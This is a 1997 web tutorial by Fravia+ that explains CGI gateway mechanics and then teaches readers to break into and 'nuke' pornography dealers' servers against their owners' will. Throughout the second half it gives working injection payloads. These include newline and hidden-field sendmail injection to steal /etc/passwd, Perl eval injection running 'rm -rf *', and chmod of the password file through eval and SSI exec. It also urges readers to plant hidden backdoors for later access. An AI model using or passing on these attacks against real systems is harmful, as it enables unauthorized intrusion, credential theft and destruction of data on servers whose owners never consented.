Crackers against Smut
Fravia's CGI-script reversing
(CGI-script reverse engineering)
(How to exploit weak CGI-script and PERL programs used by the Smut dealers)
(How to nuke a page against the will of its owner)
By Fravia+, Updated 27 November 1997
Page severely under construction...
SEND MORE CONTRIBUTIONS!
What is CGI-script reverse engineering?
Well, if we want to crack the smut dealers, we must first understand a little
how their gateways
work... so first of all you must understand what are gateways... in fact there
is quite a lot you should understand before waging this battle... let's begin!
Remember that you can use gateways running on Internet, install gateways that
have been developed by others or develop your own.
The CGI is the mechanism for communicating between your gateway and your Web
Let's be clear on this: When the user enters text on a form, or in response
to an ISINDEX query, and hits the return key, the Web browser sends keystrokes
captured from the user to the httpd server.
When an HTML document contains an ISINDEX tag, the browser displays an input box with the phrase:
This is a searchable index. Enter search keywords: type-input-here
Here you have an example of it:
This does NOT mean that your HTML document is automatically a searchable index. The
ISINDEX tag just captures user keystrokes and sends those keystrokes to a gateway using
the GET method. The GATEWAY performs the actual search. If the gateway does not exist,
placing the ISINDEX tag in the HTML document will not make it exist, altough it will
look to the user as though it exists. The user can certainly key in a search string.
But when the return key is hit, no search will occur. Try it on the ISINDEX window above.Now.
Nothing happens: to have your Web server
perform search functions you must develop or set up a gateway to perform the search.
The htppd server accepts the input, which will come through a FORM or an ISINDEX tag,
starts up the gateway
and hands the input to the gateway via the CGI.
The user's keystrokes are passed to the gateway either via environment variables
(called the GET method) or using standard input (called the POST method). The
gateway then passes the input and process it. It may generate HTML output, which
is returned to the httpd server to pass to the client, or it may save data in a
file or database or send email to someone.
The gateway itself can be a script or program, written in C/C++, Perl, tcl,
the C Shell or the Bourne Shell. Each language has its own strengths as a
CGI gateways that generate HTML output are required to preface the HTML output
to stdout with the following line:
This line must be followed by a blank line before the first <HTML> tag is sent.
The gateway does not have to generate HTML. It could return the URL of another file,
indicating to the browser that it should get that file. This is called URL
redirection. In fact this is the most commonly used method that the
use to pass some specific images to the user
CGI gateways using URL redirection write the following line to
This line, too, must be followed by a blank line before the stdout data stream
Passing parameters to CGI scripts by appending them to the URL is referred to as
the GET method.
CGI scripts written to use the GET method must explicitly read the QUERY_STRING
variable to get and then parse the query. The GET method is usually used to invoke
a simple CGI script with a single parameter.
For example, to pass your name (Fravia of TheHCU) to the test-cgi gateway, located
in cgi-bin, you would open the following URL:
The incoming parameter is appended to the base URL after the ? character, with
blanks replaced by the + character. The parameter is set as an environment variable
called QUERY_STRING, but is not passed to test-cgi as a command line option, or in
standard input. The HTML output returned from this URL would be (since test-cgi
describes how the httpd server is configured and what information is being passed
generically to all CGI scripts, more or less the following:
CGI/1.0 test script report:
argc is 3. Argv is Fravia of TheHCU
SERVER_SOFTWARE = NCSA/1.3
SERVER_NAME = hostname
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/x-html, text/html, image/*, application/postscript, video/mpeg,
audio/basic, audio/x-aiff, image/gif, image/Jpeg, image/tiff,
text/richtext, text/tab-separated-values, text/x-setext, */*
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = Fravia+of+TheHCU
REMOTE_HOST = xxx.xxx.xxx
REMOTE_ADDR = xxx.xxx.xxx.xxx
All of the capitalized variable names (like SERVER_NAME) are environment
variables that are set by the CGI. These are available to be used by your
gateway. As you have seen, parameters can be passed to a gateway by appending
them to the URL using the following scheme:
That was it for the GET method.
Alternatively, parameters can be passed to CGI
scripts using standard input, this is called the POST method. It is used when
there is a large amount of information that would be awqward to append to the
end of the URL (as with the GET method) or when the parameters need to be encoded.
Most of the advanced work on secure transactions on the net is focused on secure
encoding techniques for the POST method.
When using the POST method, two parameters, for a user's name and email
address, might look like:
The CGI script would then parse the two parameters as:
NAME Fravia of TheHCU
The & character separates the parameter pairs and the = character separates each
parameter name from his value. The + character is used again as a substitute for
blanks. The Perl CGI library contains code to parse standard input to load an
associative array for processing.
If the CGI-scripts are not carefully written the server can have problems: anytime
it captures user keystrokes, those keystroke could be malicious. Attacking a Web
server usually consist in embedding shell metacharacters inside our input, seeking
the execution of
arbitrary commands on the system that runs the gateway, a danger particularly common,
with older CGI gateways written in the Bourne or C Shell, in Perl or in any language
where an interpreter can execute commands external to the gateway.
Rather than trapping "problem" metacharacters, the CGI scripts use simply
a regular expression to check for legal keystrokes:
[a-zA-Z0-9_-+ \t\/@%](There is a blank space after the + sign)
Now starts the really interesting part :-)
The "newline" char is often allowed (%0a), and you can use it to execute commands
that are DIFFERENT from the commands that the script awaits, you can therefore add
a field to a URL to execute functions that are outside the script, for example the
following URL asks from the server a copy of /etc/passwd:
The characters ASCII "0a" and "20" are respectively a newline and a space.
Forms are a natural progression from simple queries and are officially part of HTML
Here you have an example:
Please send us your comments!
Each INPUT tag has a variable name associated. The CGI scripts filter the contents
of the field INPUT, if they don't you have a similar situation ro the previous one,
and your data are directly passed to the interpreter.
Another used HTML tag is the SELECT tag, that allows to the user on the client
machine to select between a number of options. This selection gives also a value
to a specified variable.
The CGI-scripts usually DO NOT check this value, assuming that there is only a
predefined number of choices, and these values go directly to the interpreter
for interpreted languages.
A typical sendmail attack is made using the characters "~!", on vulnerable systems.
If there is a CGI-script with a call to the UNIX system with only ONE argument,
you can attack that system, because the system in that case forks a shell in order
to allow the request, for instance the following PERL script:
system("/usr/bin/sendmail -t %s < %s", $address_to_email < $file_entered
has been designed to email a copy of file_entered to the email address
address_to_email. Since the script calls system with only one argument,
this program runs a separated shell, apt to be forked.
Now copy and MODIFY the same data:
<INPUT TYPE="HIDDEN" NAME="address_to_email" VALUE="email@example.com;mail firstname.lastname@example.org </etc/passwd">
You get it? In this way you can get the file /etc/passwd of that server
The function system() is not the only command to fork a new shell.
The function exec(), with only one argument allows the same attacks.
Opening a file and piping its result opens also a separate shell.
In PERL the function :
open(FILE, "| program_name $ARGS")
opens a FILE and pipes its contents with program_name, which will be executed as
The PERL command "eval" executes any argument you pass. The CGI-script that pass
user data to the command
eval can be used to execute ANYTHING that the user wishes, on the
smut dealers sites I would suggest, first to check if the "" passed to
the interpreter are accepted
$_ = $VALUE; s/"/\\" /g $RESULT = eval qq/"$_"/;
And then destroy the smut dealer server with VALUE
"rm -rf *"
CGI-script are READABLE, and you can copy them, modify them or substitute them.
PERL scripts containing include lines like the following:
Include the cgi-lib library. If the file permissions are not correct,
the script IS vulnerable! You may want to verify the permission adding to the
URL of a cgi-script (using the method GET) following characters:
If you copy, modify and substitute the library, you will be able to execute
commands or routines from inside the library file.
The PERL interpreter dwells mostly in usr/bin. If it has been run as SETSUID
root, you may modify the file permissions with a direct command to the system:
$_ = "chmod 666\/etc\/passwd" $RESULT = eval qq/"$_"/;
And now the passwd file can be accessed by everybody.
Finally there is an extension that some http server allow: the SSI (Server Side
Include). Most SSI have been disabled, but there are still many out there.
The syntax is:
!-- #command variable="value" --
If the script does not filter the input, you may write:
!-- #exec cmd="chmod 666 /etc/passwd" --
"exec cmd" then runs a shell and executes the command you wrote between "", in
this case chmod. Obviously as soon as you gain etc/passwd you can lame the site
of the Smut dealer, or even better, 'seed' therein hundred concealed 'entrances'
for later eaiser busting :-)
Where are located the CGI-scripts?
CGI scripts can be placed in THREE locations, the main cgi-bin subdirectory,
alternative, cgi-bin subdirectories (that have been established with the
ScriptAlias directive) AND in users' personal HTML subdirectories.
Web server administrators police very seldom all these areas, mostly (if
they do it) they limit themselves to check that the Options directive, used to
protect users' personal HTML directories is not set to All or ExecCGI.
On the other hand, if they don't trust a SPECIFIC user, they usually specify
the Options directive in access.conf to be used server-wide and then use
Here are, courtesy of +gthorne, some nice 'starter' tricks you may want to
use to UNDERSTAND how all this work and how frequently Web servers allow
you more access than it you would believe (PLEASE, do not destroy yet
vrysex.com, I need it alive for teaching purposes):
(This gives information even if not available :-)
Remeber also that the standard Web account (the default user ID)
This isn't root, of course, but it gives nevertheless access to all that
an user can if he has an account on the system (otherwise web pages
wouldn't work at all. BTW, the dafault Group is -1
Defaults of a standalone daemon
(know what you should be looking for on the smut sites)
httpd.conf = Main server configuration file
This controls HOW the server runs, not details relating to the files it serves
srm.conf = Server resource configuration file
DocumentRoot directive, points per default to /usr/local/etc/httpd/htdocs
UserDir = public_html per default! If the seradm forgot to set it to DISABLED,
users could serve files from their home directories!
If the cgi-bin directory is not at default location /usr/local/etc/httpd/cgi-bin/, its new location can
be found inside the Alias or ScriptAlias directives!
AccessFileName = .htaccess
DocumentRoot = /usr/local/etc/httpd/htdocs
access.conf = Global access control file (ACF)
Default User ID (UID) = nobody
Default User Group (UIG) = -1
Recommended UID = http
Reccomended UIG = WWW
(These names must exist in /etc/passwd and etc/group respectively)
ServerAdmin = email@example.com
ServerRoot = /usr/local/etc/passwd
ServerName = www.local.domain (or a CNAME alias)
ServerType = standalone
A first Conclusion
The incorrect use of the CGI scripts implies many vulnerabilities for the
system hosting them.
Most smut dealer have little or no knowledge of programming but NEED always
some sort of script to give the authorised suckers their smut and leave out
everybody else... mostly they will have set their scripts on the quick way,
using often incapable programmers... a world of possibilities for us!
Good luck, good hunt!